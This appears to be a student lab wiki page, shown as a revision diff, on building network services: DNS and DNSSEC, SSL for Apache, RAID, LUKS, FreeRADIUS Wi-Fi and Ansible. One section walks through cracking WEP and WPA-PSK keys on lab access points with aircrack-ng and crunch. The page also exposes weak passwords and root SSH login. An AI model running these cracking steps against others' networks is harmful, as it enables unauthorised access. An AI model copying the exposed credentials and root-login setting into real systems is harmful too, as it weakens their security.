TP sysres IMA5 2021/2022 G5 : Différence entre versions
(→Serveur DNS) |
(→Configuration du point d'accès) |
||
(109 révisions intermédiaires par 2 utilisateurs non affichées) | |||
Ligne 218 : | Ligne 218 : | ||
*<code> Création de /etc/bind/db.duff-tulipe.club </code> | *<code> Création de /etc/bind/db.duff-tulipe.club </code> | ||
− | + | $TTL 259200 | |
− | |||
− | |||
− | $TTL | ||
@ IN SOA ns1.duff-tulipe.club. postmaster.duff-tulipe.club. ( | @ IN SOA ns1.duff-tulipe.club. postmaster.duff-tulipe.club. ( | ||
− | + | 2021121301 ; Incrementation date based | |
− | + | 18000 ; Refresh every 5 hours | |
− | + | 3600 ; Retry every hour | |
− | + | 388000 ; Expire after 45 days | |
− | + | 259200 ) ; Minimum TTL : 3 days | |
; | ; | ||
@ IN NS ns1.duff-tulipe.club. | @ IN NS ns1.duff-tulipe.club. | ||
@ IN NS ns6.gandi.net. | @ IN NS ns6.gandi.net. | ||
− | ns1 IN A 193.48.57.180 | + | ns1 IN A 193.48.57.180 |
www IN A 193.48.57.180 | www IN A 193.48.57.180 | ||
IN AAAA 2001:660:4401:60b0:216:3eff:fe28:9856 | IN AAAA 2001:660:4401:60b0:216:3eff:fe28:9856 | ||
+ | |||
+ | * A : Nom attribué à une adresse de type IP V4 | ||
+ | * AAAA : Nom attribué à une adresse de type IP V6 | ||
+ | * NS : Le ou les serveurs de noms de la zone (IPV4) | ||
+ | * SOA : Démarre la configuration | ||
+ | * TTL : Time to Live | ||
+ | |||
+ | ==Sécurisation du site par certificat SSL== | ||
+ | |||
+ | Nous avons généré les clés privés et publiques avec un niveau de hachage SHA256. | ||
+ | |||
+ | openssl req -nodes -newkey rsa:2048 -sha256 -keyout duff-tulipe.club.key -out duff-tulipe.club.csr | ||
+ | |||
+ | * duff-tulipe.club.key : clé privé | ||
+ | * duff-tulipe.club.csr : clé publique | ||
+ | |||
+ | Il faut ensuite faire une demande de signature sur gandi.net puis ajouter un enregistrement CNAME à notre DNS dans le fichier /etc/bind/db.duff-tulipe.club : | ||
+ | |||
+ | _81984CA0A14C2BF87A3DC60134F472F1.duff-tulipe.club. 10800 IN CNAME 9693CBB1C5FF588366B34976185CEF2D.CF6A4117B09D101A3558AB1B3B415A3F.3001ef257407d5a371a9.sectigo.com. | ||
+ | |||
+ | Le certificat est disponible sur gandi sous format .crt et il faut le placer dans /etc/ssl/certs. On doit également télécharger le certificat intermédiaire de gandi (GandiStandardSSLCA2.pem). | ||
+ | |||
+ | ===Configuration de Apache 2 en utilisant le certificat SSL de Gandi=== | ||
+ | |||
+ | *<code>Activer le module SSL</code> | ||
+ | |||
+ | a2enmod ssl | ||
+ | |||
+ | Le port 80 est écouté par défaut pour le HTTP. Nous voulons sécuriser le site avec un certificat SSL et devons donc utiliser le port 443 pour mettre HTTPS en place. On va donc remplacer : | ||
+ | |||
+ | <IfModule ssl_module> | ||
+ | Listen 443 | ||
+ | </IfModule> | ||
+ | |||
+ | par | ||
+ | |||
+ | <IfModule mod_ssl.c> | ||
+ | Listen 443 | ||
+ | </IfModule> | ||
+ | |||
+ | Le répertoire par défaut d'Apache pour le routes html est <strong>/var/www/html</strong>. Nous créons un répertoire custom <strong>/var/www/duff-tulipe.club</strong>. Nous personnaliserons la page index.html avec le contenu qui nous convient. | ||
+ | |||
+ | Nous complétons le fichier de configuration custom avec /etc/apache2/sites-available/000-duff-tulipe.club-ssl.conf | ||
+ | |||
+ | <VirtualHost *:80> | ||
+ | ServerName duff-tulipe.club | ||
+ | ServerAlias www.duff-tulipe.club | ||
+ | ServerAdmin webmaster@localhost | ||
+ | DocumentRoot /var/www/html | ||
+ | Redirect permanent / https://duff-tulipe.club/ | ||
+ | </VirtualHost> | ||
+ | <VirtualHost *:443> | ||
+ | ServerAdmin webmaster@localhost | ||
+ | ServerName duff-tulipe.club | ||
+ | ServerAlias www.duff-tulipe.club | ||
+ | DocumentRoot /var/www/html | ||
+ | |||
+ | SSLEngine on | ||
+ | SSLCertificateFile /etc/ssl/certs/duff-tulipe.club.crt | ||
+ | SSLCertificateKeyFile /etc/ssl/private/duff-tulipe.club.key | ||
+ | ErrorLog ${APACHE_LOG_DIR}/error.log | ||
+ | CustomLog ${APACHE_LOG_DIR}/access.log combined | ||
+ | </VirtualHost> | ||
+ | |||
+ | On spécifie l'emplacement du certificat ssl avec la clé qui lui est associée. | ||
+ | |||
+ | <strong>Malheureusement, notre certificat SSL n'est pas associé à la bonne clé.</strong> Nous avons donc cherché des solutions alternatives. Au final nous avons demandé une nouvelle génération sur Gandi du certificat SSL et recommencé la manipulation. Les solutions alternatives sont quand même renseignées plus bas. | ||
+ | |||
+ | ===Configuration de Apache 2 en utilisant le certificat de Let's Encrypt=== | ||
+ | |||
+ | Nous allons utiliser certbot pour configurer apache automatiquement et utiliser le certificat SSL de Let's Encrypt. La documentation complète peut être trouvée via ce lien : https://certbot.eff.org/instructions?ws=apache&os=debianbuster. | ||
+ | |||
+ | *<code>Installer snap</code> | ||
+ | |||
+ | apt install snap | ||
+ | |||
+ | *<code>S'assurer que la version de snap est à jour</code> | ||
+ | |||
+ | snap install core; snap refresh core | ||
+ | |||
+ | *<code>Installer Certbot</code> | ||
+ | |||
+ | snap install --classic certbot | ||
+ | |||
+ | *<code>Préparation de la commande Certbot</code> | ||
+ | |||
+ | ln -s /snap/bin/certbot /usr/bin/certbot | ||
+ | |||
+ | *<code>Lancer Certbot</code> | ||
+ | |||
+ | certbot -v --apache | ||
+ | |||
+ | -v pour voir le détail des erreurs/warnings | ||
+ | |||
+ | Comme on peut voir dans la réponse ci-dessous, c'est un échec. | ||
+ | |||
+ | Which names would you like to activate HTTPS for? | ||
+ | - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | ||
+ | 1: duff-tulipe.club | ||
+ | - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | ||
+ | Select the appropriate numbers separated by commas and/or spaces, or leave input | ||
+ | blank to select all options shown (Enter 'c' to cancel): | ||
+ | Requesting a certificate for duff-tulipe.club | ||
+ | Performing the following challenges: | ||
+ | http-01 challenge for duff-tulipe.club | ||
+ | Enabled Apache rewrite module | ||
+ | Waiting for verification... | ||
+ | Challenge failed for domain duff-tulipe.club | ||
+ | http-01 challenge for duff-tulipe.club | ||
+ | |||
+ | Certbot failed to authenticate some domains (authenticator: apache). The Certificate Authority reported these problems: | ||
+ | Domain: duff-tulipe.club | ||
+ | Type: dns | ||
+ | Detail: No valid IP addresses found for duff-tulipe.club | ||
+ | |||
+ | Hint: The Certificate Authority failed to verify the temporary Apache configuration changes made by Certbot. Ensure that the listed domains point to this Apache | ||
+ | server and that it is accessible from the internet. | ||
+ | |||
+ | Cleaning up challenges | ||
+ | Some challenges have failed. | ||
+ | Ask for help or search for solutions at https://community.letsencrypt.org. See the logfile /var/log/letsencrypt/letsencrypt.log or re-run Certbot with -v for more | ||
+ | details. | ||
+ | |||
+ | Une dernière solution a été testée. | ||
+ | |||
+ | ===Configuration de Apache 2 en utilisant le certificat de SSL For Free=== | ||
+ | |||
+ | Il suffit de se rendre sur ce lien https://www.sslforfree.com/. On rempli ensuite les champ nécessaire pour obtenir le certificat. Finalement, l'étape qui pose problème est l'étape où le site vérifie que nous sommes bien les propriétaires du site. | ||
+ | |||
+ | [[Fichier:SSLForFree.png|600px]] | ||
+ | |||
+ | 3 solutions sont possibles. | ||
+ | |||
+ | *<code>Vérification par email</code> | ||
+ | *<code>Vérification par DNS</code> | ||
+ | *<code>Vérification par Upload HTTP</code> | ||
+ | |||
+ | La vérification par Upload HTTP ne fonctionne pas car un lien du site est mort. | ||
+ | |||
+ | La vérification DNS ne fonctionne pas après avoir ajouté cet enregistrement DNS demandé par le site. <strong>UPDATE : Au final ça ne fonctionnait pas car il fallait aussi changer le DNS signé.</strong> | ||
+ | |||
+ | _BAAD2B664782B429E8BE0708BD15D557.duff-tulipe.club 3600 IN CNAME 0D9E12C86DFDDE0298FFFAE45FFABAD8.387D5A4E897132A9AB37E065A38E1FF8.c79cacd286c398f.comodoca.com | ||
+ | |||
+ | La vérification par email implique que nous ayons une boîte mail sur le nom de domaine. | ||
+ | |||
+ | ==Configuration d'une boîte mail sur le domaine== | ||
+ | |||
+ | Pour finaliser l'étape précédente de validation pour obtenir un certificat SSL nous avons tenté de créer une boîte mail associée à notre domaine sur gandi. | ||
+ | |||
+ | Pour cela il faut aller sur l'espace de gestion de son domaine puis dans <strong>Boites & redirections Mail</strong>. Comme nous utilisons un DNS externe et pas celui de gandi, il est nécessaire d'ajouter des enregistrements sur notre DNS. | ||
+ | |||
+ | vim /etc/bind/db.duff-tulipe.club | ||
+ | |||
+ | On édite le fichier en ajoutant : | ||
+ | |||
+ | @ 10800 IN MX 10 spool.mail.gandi.net. | ||
+ | @ 10800 IN MX 50 fb.mail.gandi.net. | ||
+ | @ 10800 IN TXT "v=spf1 include:_mailcust.gandi.net ?all" | ||
+ | |||
+ | On ajoute également des enregistrements SRV recommandés par Gandi | ||
+ | |||
+ | _imap._tcp 10800 IN SRV 0 0 0 . | ||
+ | _imaps._tcp 10800 IN SRV 0 1 993 mail.gandi.net. | ||
+ | _pop3._tcp 10800 IN SRV 0 0 0 . | ||
+ | _pop3s._tcp 10800 IN SRV 10 1 995 mail.gandi.net. | ||
+ | _submission._tcp 10800 IN SRV 0 1 465 mail.gandi.net. | ||
+ | |||
+ | On crée ensuite une boîte mail sur gandi. Nous l'avons appellée <strong>webmaster@duff-tulipe.club</strong>. Nous pouvons ensuite utiliser les Webmails proposés par gandi. Nous utilisons RoundCube. | ||
+ | |||
+ | Pour l'envoi de mail, nous obtenons l'erreur suivante : | ||
+ | |||
+ | Erreur SMTP (550) : échec d’ajout du destinataire « camille.vingere@gmail.com » (5.1.8 <webmaster@duff-tulipe.club>: Sender address rejected: Domain not found) | ||
+ | |||
+ | Pour la réception de mail, nous obtenons l'erreur suivante : | ||
+ | |||
+ | DNS Error: 28225874 DNS type 'mx' lookup of duff-tulipe.club responded with code NOERROR 28225874 DNS type 'mx' lookup of duff-tulipe.club had no relevant | ||
+ | answers. 28225874 DNS type 'aaaa' lookup of duff-tulipe.club responded with code NOERROR 28225874 DNS type 'aaaa' lookup of duff-tulipe.club had no relevant | ||
+ | answers. 28225874 DNS type 'a' lookup of duff-tulipe.club responded with code NOERROR 28225874 DNS type 'a' lookup of duff-tulipe.club had no relevant answers. | ||
+ | |||
+ | ==Sécurisation de serveur DNS par DNSSEC== | ||
+ | |||
+ | *<code>Modification de /etc/binc/named.conf.options</code> | ||
+ | |||
+ | Activer le DNSSEC pour Bind: | ||
+ | dnssec-enable yes; | ||
+ | |||
+ | *<code>Création de la clef asymétrique de signature de clefs de zone</code> | ||
+ | |||
+ | Création du répertore /etc/bind/duff-tulipe.dnssec | ||
+ | |||
+ | dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE duff-tulipe.club | ||
+ | |||
+ | Renommer la clef en : | ||
+ | duff-tulipe.club-ksk.key | ||
+ | duff-tulipe.club-ksk.private | ||
+ | |||
+ | *<code>Création la clef asymétrique de la zone pour signer les enregistrements</code> | ||
+ | |||
+ | dnssec-keygen -a RSASHA1 -b 1024 -n ZONE duff-tulipe.club | ||
+ | |||
+ | Renommer la clef en : | ||
+ | duff-tulipe.club-zsk.key | ||
+ | duff-tulipe.club-zsk.private | ||
+ | |||
+ | *<code>Inclusion des fichiers dans /etc/bind/db.duff-tulipe.club</code> | ||
+ | |||
+ | $include /etc/bind/duff-tulipe.club.dnssec/duff-tulipe.club-ksk.key | ||
+ | $include /etc/bind/duff-tulipe.club.dnssec/duff-tulipe.club-zsk.key | ||
+ | |||
+ | On incrémente le numéro de version | ||
+ | @ IN SOA ns1.duff-tulipe.club. postmaster.duff-tulipe.club. ( | ||
+ | 2021121302 ; Incrementation date based | ||
+ | |||
+ | *<code>Signature des enregistrement de la zone </code> | ||
+ | |||
+ | dnssec-signzone -o duff-tulipe.club -k duff-tulipe.club-ksk ../db.duff-tulipe.club duff-tulipe.club-zsk | ||
+ | |||
+ | *<code>Modification du ficher named.conf.local</code> | ||
+ | |||
+ | Cela permet d'utiliser la zone signée, générée à l'étape précédente | ||
+ | |||
+ | zone "duff-tulipe.club" IN { | ||
+ | type master; | ||
+ | file "/etc/bind/db.duff-tulipe.club.signed"; | ||
+ | allow-transfer { 217.70.177.40; }; | ||
+ | }; | ||
+ | |||
+ | *<code>Communication de la partie publique</code> | ||
+ | |||
+ | Copie du ficher duff-tulipe.club-ksk.key dans la partie DNSSEC de notre domaine sur gandi.net (KSK et algorithme RSA-SHA1) | ||
+ | |||
+ | *<code> Test </code> | ||
+ | |||
+ | On lance la commande | ||
+ | dnssec-verify -o duff-tulipe.club db.duff-tulipe.club.signed | ||
+ | |||
+ | Loading zone 'duff-tulipe.club' from file 'db.duff-tulipe.club.signed' | ||
+ | |||
+ | Verifying the zone using the following algorithms: | ||
+ | - RSASHA1 | ||
+ | Zone fully signed: | ||
+ | Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked | ||
+ | ZSKs: 1 active, 0 stand-by, 0 revoked | ||
=Tests d'intrusion= | =Tests d'intrusion= | ||
Ligne 285 : | Ligne 525 : | ||
*<code>Décryptage</code> | *<code>Décryptage</code> | ||
− | + | aircrack-ng -b 04:DA:D2:9C:50:54 output*.cap | |
Va tester différentes clefs jusqu'à trouver la bonne (822 dans notre cas) | Va tester différentes clefs jusqu'à trouver la bonne (822 dans notre cas) | ||
Ligne 291 : | Ligne 531 : | ||
KEY FOUND! [ 55:55:55:55:5A:BC:06:CB:A4:44:44:44:44] | KEY FOUND! [ 55:55:55:55:5A:BC:06:CB:A4:44:44:44:44] | ||
Decrypted correctly: 100% | Decrypted correctly: 100% | ||
+ | |||
+ | ==Cassage du mot de passe WPA-PSK par force brute== | ||
+ | |||
+ | *<code>Affichage de notre interface réseau</code> | ||
+ | airmon-ng | ||
+ | |||
+ | wlx40a5ef059e47 | ||
+ | |||
+ | *<code>Arrêter les process existant</code> | ||
+ | airmon-ng check kill | ||
+ | |||
+ | *<code>Connecter notre interface sur un canal</code> | ||
+ | airmon-ng start <n°interface> <canal> | ||
+ | |||
+ | n°interface : wlan0mon | ||
+ | canal : 3 | ||
+ | |||
+ | *<code>Récupération du BSSID du point d'accès</code> | ||
+ | airodump-ng wlan0mon | ||
+ | |||
+ | permet d'écouter tous les paquets | ||
+ | |||
+ | On choisit une kracotte (avec un "k" pour le WPA) : kracotte14 => BSSID : 44:AD:D9:5F:87:0D | ||
+ | |||
+ | On capture ensuite les VI générés par le point d'accès afin de capturer une Handshake dans un fichier psk : | ||
+ | |||
+ | airodump-ng -c 3 --bssid 44:AD:D9:5F:87:03 -w psk wlan0mon | ||
+ | |||
+ | *-c 3 : channel | ||
+ | *--bssid: BSSID de la kracotte | ||
+ | |||
+ | On créé ensuite un dictionnaire de toutes les combinaisons possibles de 8 chiffres avec l'aide de l'utilitaire crunch : | ||
+ | |||
+ | apt install crunch | ||
+ | |||
+ | crunch 8 8 0123456789 -o password.lst | ||
+ | |||
+ | *8 nombre min de caractères | ||
+ | *8 nombre max de caractères | ||
+ | *0123456789 : caractères utilisés pour les combinaisons | ||
+ | *-o : fichier de sortie | ||
+ | |||
+ | Une fois le chargement terminé nous obtenons ce résultat | ||
+ | |||
+ | [00:56:46] 59882312/100000000 keys tested (17564.32 k/s) | ||
+ | |||
+ | KEY FOUND! [ 59914999 ] | ||
+ | |||
+ | |||
+ | Master Key : B6 2C 87 9A 1D D2 52 1A 23 45 79 FA 95 2F 09 F0 | ||
+ | 75 A4 0C D9 AD 3B 10 C3 2B F7 41 50 00 AF D5 9D | ||
+ | |||
+ | Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ||
+ | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ||
+ | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ||
+ | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ||
+ | |||
+ | EAPOL HMAC : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ||
+ | |||
+ | |||
+ | =Réalisation= | ||
+ | |||
+ | ==Sécurisation de données== | ||
+ | |||
+ | Pour notre serveur Xen on crée trois partitions LVM de 1Go avec des noms liés à celui de notre serveur (stprage) | ||
+ | lvcreate -L1G -n duff-raid1 storage | ||
+ | lvcreate -L1G -n duff-raid2 storage | ||
+ | lvcreate -L1G -n duff-raid3 storage | ||
+ | |||
+ | Nous ajoutons les partitions à notre fichier de configuration qui se trouve dans /etc/xen/Duff.cfg | ||
+ | 'phy:/dev/storage/duff-raid1,xvdb1,w', | ||
+ | 'phy:/dev/storage/duff-raid2,xvdb2,w', | ||
+ | 'phy:/dev/storage/duff-raid3,xvdb3,w' | ||
+ | |||
+ | On regarde la liste des machines lancées. | ||
+ | |||
+ | xl list | ||
+ | |||
+ | On éteint la VM | ||
+ | |||
+ | xl shutdown 6 | ||
+ | |||
+ | Pour éteindre la machine avec l'ID 6 (la notre) | ||
+ | |||
+ | On relance la VM | ||
+ | |||
+ | xl create -c /etc/xen/Duff.cfg | ||
+ | |||
+ | On crée la partition Raid5 | ||
+ | mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb1 /dev/xvdb2 /dev/xvdb3 | ||
+ | |||
+ | On formate la partition en ext4 | ||
+ | mkfs.ext4 /dev/md0 | ||
+ | |||
+ | On ajoute au fichier /etc/fstab la partition formatée /dev/md0 pour qu'il soit monté durant le démarrage de la VM | ||
+ | /dev/md0 /media/raid ext4 defaults 0 1 | ||
+ | mount -a | ||
+ | |||
+ | == Chiffrement des données == | ||
+ | |||
+ | On branche la clé USB sur une zabeth et on se met en <strong> su - </strong>, et on lance <code>lsblk</code> et on trouve : | ||
+ | |||
+ | NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT | ||
+ | sdb 8:16 1 7.2G 0 disk | ||
+ | |||
+ | Donc on peut formater la clé qui contient déjà des données (cryptées ou non) : | ||
+ | |||
+ | mkfs.ext4 /dev/sdb | ||
+ | |||
+ | Avec <code>cryptsetup</code> on peut initialiser la clé et on choisi un mot de passe : | ||
+ | |||
+ | cryptsetup luksFormat /dev/sda | ||
+ | |||
+ | On crée une partition chiffrée sur la clé (nom du volume : data) : | ||
+ | |||
+ | $ cryptsetup luksOpen /dev/sdb data | ||
+ | |||
+ | Et on formate : | ||
+ | |||
+ | $ mkfs.ext4 /dev/mapper/data | ||
+ | |||
+ | On monte cette partition pour lui permettre de contenir des fichiers : | ||
+ | |||
+ | $ mkdir /mnt/data-usb | ||
+ | $ mount -t ext4 /dev/mapper/data /mnt/data-usb | ||
+ | |||
+ | On y ajoute donc un fichier de test en écrivant du texte dedans : | ||
+ | |||
+ | $ vim /mnt/data-usb/hello.txt | ||
+ | |||
+ | Puis on démonte et on ferme le volume chiffré | ||
+ | |||
+ | $ umount /mnt/data-usb | ||
+ | $ cryptsetup luksClose data | ||
+ | |||
+ | On branche ensuite la clé sur une autre machine et on nous demande bien un mot de passe : | ||
+ | |||
+ | [[Fichier:screen-pass.png|300px|center]] | ||
+ | |||
+ | = Point d'accès Wi-Fi authentifié via FreeRADIUS = | ||
+ | |||
+ | == Configuration du point d'accès == | ||
+ | |||
+ | === Point d'accès === | ||
+ | |||
+ | Tout d'abord il faut configurer l'authentification EAP dans la configuration : | ||
+ | |||
+ | conf t | ||
+ | |||
+ | aaa new-model | ||
+ | aaa authentication login eap_duff group radius_duff | ||
+ | radius-server host 193.48.57.180 auth-port 1812 acct-port 1813 key secret_group5 | ||
+ | aaa group server radius radius_duff | ||
+ | server 193.48.57.180 auth-port 1812 acct-port 1813 | ||
+ | exit | ||
+ | |||
+ | Configurons le SSID : | ||
+ | |||
+ | conf t | ||
+ | |||
+ | dot11 ssid DUFF | ||
+ | vlan 5 | ||
+ | authentication open eap eap_duff | ||
+ | authentication network-eap eap_duff | ||
+ | authentication key-management wpa | ||
+ | mbssid guest-mode | ||
+ | exit | ||
+ | exit | ||
+ | |||
+ | On associe notre SSID à l'interface WIFI : | ||
+ | |||
+ | conf t | ||
+ | |||
+ | interface Dot11Radio0 | ||
+ | encryption vlan 4 mode ciphers aes-ccm tkip | ||
+ | ssid DUFF | ||
+ | mbssid | ||
+ | exit | ||
+ | exit | ||
+ | |||
+ | On paramètre notre VLAN (5) | ||
+ | |||
+ | conf t | ||
+ | |||
+ | interface Dot11Radio0.4 | ||
+ | encapsulation dot1Q 4 | ||
+ | no ip route-cache | ||
+ | bridge-group 4 | ||
+ | bridge-group 4 subscriber-loop-control | ||
+ | bridge-group 4 spanning-disabled | ||
+ | bridge-group 4 block-unknown-source | ||
+ | exit | ||
+ | exit | ||
+ | |||
+ | On configure l'interface filaire | ||
+ | |||
+ | conf t | ||
+ | |||
+ | interface GigabitEthernet0.4 | ||
+ | encapsulation dot1Q 4 | ||
+ | bridge-group 4 | ||
+ | exit | ||
+ | exit | ||
+ | |||
+ | Enfin, on configure l'IP de l'AP et sa gateway | ||
+ | |||
+ | conf t | ||
+ | |||
+ | ip default-gateway 10.1.0.1 | ||
+ | interface BVI 1 | ||
+ | ip address 10.1.0.3 255.255.255.0 | ||
+ | exit | ||
+ | exit | ||
+ | |||
+ | === Routeur === | ||
+ | |||
+ | Commençons par configurer le VLAN 1 | ||
+ | |||
+ | conf t | ||
+ | |||
+ | interface vlan 1 | ||
+ | ip address 10.1.0.1 255.255.255.0 | ||
+ | exit | ||
+ | exit | ||
+ | |||
+ | Puis on configure le port (ici Gi1/0/3 | ||
+ | |||
+ | conf t | ||
+ | |||
+ | interface Gi1/0/3 | ||
+ | switchport | ||
+ | switchport mode trunk | ||
+ | switchport trunk allowed vlan add 1 | ||
+ | exit | ||
+ | exit | ||
+ | |||
+ | == Serveur FreeRADIUS == | ||
+ | |||
+ | Installation de freeRADIUS | ||
+ | |||
+ | apt install freeradius | ||
+ | |||
+ | On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler | ||
+ | |||
+ | client pra_wifi { | ||
+ | ipaddr = 10.1.0.3/24 | ||
+ | secret = secret_group5 | ||
+ | } | ||
+ | |||
+ | ensuite <code>/etc/freeradius/3.0/mod-enabled/eap.conf</code> | ||
+ | |||
+ | eap { | ||
+ | [...] | ||
+ | default_eap_type = peap | ||
+ | } | ||
+ | |||
+ | puis <code>/etc/freeradius/3.0/users</code> | ||
+ | |||
+ | [...] | ||
+ | root Cleartext-Password := "glopglop" | ||
+ | |||
+ | Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus) | ||
+ | |||
+ | =TP ASR= | ||
+ | |||
+ | ==Préliminaire : Configuration d'une nouvelle VM sur chassiron.plil.info == | ||
+ | |||
+ | Nous devons configurer l'IPV4 sur la machine. | ||
+ | |||
+ | vim /etc/network/interfaces | ||
+ | |||
+ | On rajoute l'adresse IPV4 et la gateway. | ||
+ | |||
+ | address 172.26.145.105/24 | ||
+ | gateway 172.26.145.254 | ||
+ | |||
+ | Puis | ||
+ | |||
+ | ifdown eth0 | ||
+ | ifup eth0 | ||
+ | |||
+ | On autorise la connexion en ssh dans /etc/ssh/ | ||
+ | |||
+ | vi sshd_config | ||
+ | |||
+ | On met | ||
+ | |||
+ | PermitRootLogin yes | ||
+ | |||
+ | et on décommente | ||
+ | |||
+ | PubkeyAuthentication yes | ||
+ | |||
+ | ==Génération de clé SSH== | ||
+ | |||
+ | Pour se connecter à la VM avec ansible nous générons une clé SSH dans ~/.ssh/ de la zabeth05 | ||
+ | ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P '' | ||
+ | |||
+ | Puis on copie id-ed25519.pub dans /root/.ssh/authorized_keys dans notre VM | ||
+ | |||
+ | ==Clonage du GIT== | ||
+ | |||
+ | export https_proxy="http://proxy.plil.fr:3128" | ||
+ | |||
+ | git clone https://github.com/thomas-maurice/polytech-asr-lab.git | ||
+ | |||
+ | ==Installation de Ansible== | ||
+ | |||
+ | Dans le fichier inventory | ||
+ | |||
+ | pra-05 ansible_ssh_host="172.26.145.105" | ||
+ | |||
+ | On créé un virtualenv, on l'active et on installe ansible. | ||
+ | |||
+ | python3 -m venv ~/env-ansible | ||
+ | . ~/env-ansible/bin/activate | ||
+ | pip3 install -U setuptools wheel | ||
+ | pip3 install -U ansible | ||
+ | |||
+ | Il a fallu modifier la ligne de security updates dans /etc/apt/sources.list de notre VM afin de pouvoir utiliser apt. Puis on peut run. | ||
+ | |||
+ | ansible-playbook -v -i inventory polytech.yaml | ||
+ | |||
+ | ==SSH Key role== | ||
+ | |||
+ | Création des répertoire /roles/ssh_key/tasks et /roles/ssh_keys/template | ||
+ | |||
+ | tasks/main.yml : | ||
+ | |||
+ | - name: "SSH Key role" | ||
+ | template: | ||
+ | src: authorized_key.j2 | ||
+ | dest: /root/.ssh/authorized_keys | ||
+ | owner: root | ||
+ | group: root | ||
+ | mode: "0600" | ||
+ | |||
+ | src: fichier avec la fonction a réaliser | ||
+ | dest: fichier destination dans notre VM | ||
+ | mode : permission | ||
+ | |||
+ | template/authorized_key.j2 : | ||
+ | |||
+ | {% for item in ssh_keys %} | ||
+ | <nowiki>{{ item.key }}</nowiki> | ||
+ | {% endfor %} | ||
+ | |||
+ | ssh_key est une liste dans le fichier group_vars/all.yaml | ||
+ | on regarde donc chaque element de cette liste et on cope la valuer pour le clef 'key' | ||
+ | |||
+ | Pour que ce script soit lancé, il faut ajouté dans polytech.yaml le rôle ssh_key | ||
+ | Il faut également ajouter notre clef dnas group_vars/all.yaml afin qu'elle soit aussi copié | ||
+ | |||
+ | On relance ensuite la commande afin de réaliser le script | ||
+ | ansible-playbook -v -i inventory polytech.yaml | ||
+ | |||
+ | ==Installation de Docker== | ||
+ | |||
+ | ansible-galaxy install geerlingguy.docker | ||
+ | |||
+ | On le rajoute au polytech.yaml | ||
+ | |||
+ | ==Firewall== | ||
+ | |||
+ | Non nécessaire | ||
+ | |||
+ | ==Consul== | ||
+ | |||
+ | Création d'un role consul avec un fichier de configuration : | ||
+ | |||
+ | { | ||
+ | "datacenter": "polytech", | ||
+ | "data_dir": "/var/lib/consul", | ||
+ | "log_level": "INFO", | ||
+ | "node_name": "Ln&Cam", | ||
+ | "server": false | ||
+ | } | ||
+ | |||
+ | Création d'un fichier consul/tasks/main.yml pour créer un consul client, les répertoires /etc/consul et /var/lib/consul et lancer consul via docker | ||
+ | |||
+ | --- | ||
+ | - name: "Create consul user" | ||
+ | user: | ||
+ | name: consul | ||
+ | group: consul | ||
+ | uid: 666 | ||
+ | gid: 666 | ||
+ | - name: "Create directory /etc/consul" | ||
+ | file: | ||
+ | path: /etc/consul | ||
+ | state: directory | ||
+ | owner: consul | ||
+ | group: consul | ||
+ | - name: "Create directory /var/lib/consul" | ||
+ | file: | ||
+ | path: /var/lib/consul | ||
+ | state: directory | ||
+ | owner: consul | ||
+ | group: consul | ||
+ | - name: "Configuration file for consul" | ||
+ | copy: | ||
+ | src: config_consul.json | ||
+ | dest: /etc/consul/server.json | ||
+ | owner: consul | ||
+ | group: consul | ||
+ | - name: "Launch consul" | ||
+ | docker_container: | ||
+ | name: consul_docker | ||
+ | groups : | ||
+ | - consul | ||
+ | user: consul | ||
+ | image: bitnami/consul | ||
+ | volume: | ||
+ | - /etc/consul/ | ||
+ | network_mode: host | ||
+ | |||
+ | Pour que ce script soit lancé, il faut ajouté dans polytech.yaml |
Version actuelle datée du 21 janvier 2022 à 12:41
BOURDAIN Hélène & VINGERE Camille
Sommaire
- 1 Plan d'adressage
- 2 Architecture réseau
- 3 Mise en place de la machine virtuelle
- 4 Service Internet
- 5 Tests d'intrusion
- 6 Réalisation
- 7 Point d'accès Wi-Fi authentifié via FreeRADIUS
- 8 TP ASR
Plan d'adressage
Groupe | VLAN | Réseau IPv4 | Réseau IPv6 | @IPv4 virtuelle | IPv4/IPv6 6509E (E304) | IPv4/IPv6 C9200 (E306) | IPv4/IPv6 ISR4331 | IPv4 @MV | SSID | VM |
---|---|---|---|---|---|---|---|---|---|---|
Helene / Camille | 04 | 10.04.0.0/16 | 2001:7A8:116E:60B4::0/64 | 10.04.0.250 | 10.04.0.251 | 10.04.0.252 | 10.04.0.253 | 193.48.57.180/28 | Tulipe | Duff |
Architecture réseau
Schéma global
Nous nous sommes occupés de l'installation physique du réseau.
Mise en place de la machine virtuelle
Création d'une machine virtuelle Xen
Connexion à capbreton
ssh root@capbreton
Changer la variable environnement pour le proxy
export http_proxy=http://proxy.plil.fr:3128
Création de la VM
xen-create-image --hostname=Duff --ip=193.48.57.180 --netmask=255.255.255.240 --gateway=193.48.57.190 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye * --hostname : nom de la VM * --netmask : masque de sous-réseau * --gateway : ip de la passerelle * --dir : répertoire où les disques virtuels doivent être créés * --password : mot de passe pour accéder à la VM * --dist : distribution linux
Création des deux partitions LVM
Choisir le volume
Pour cela, on affiche les différents volumes disponible
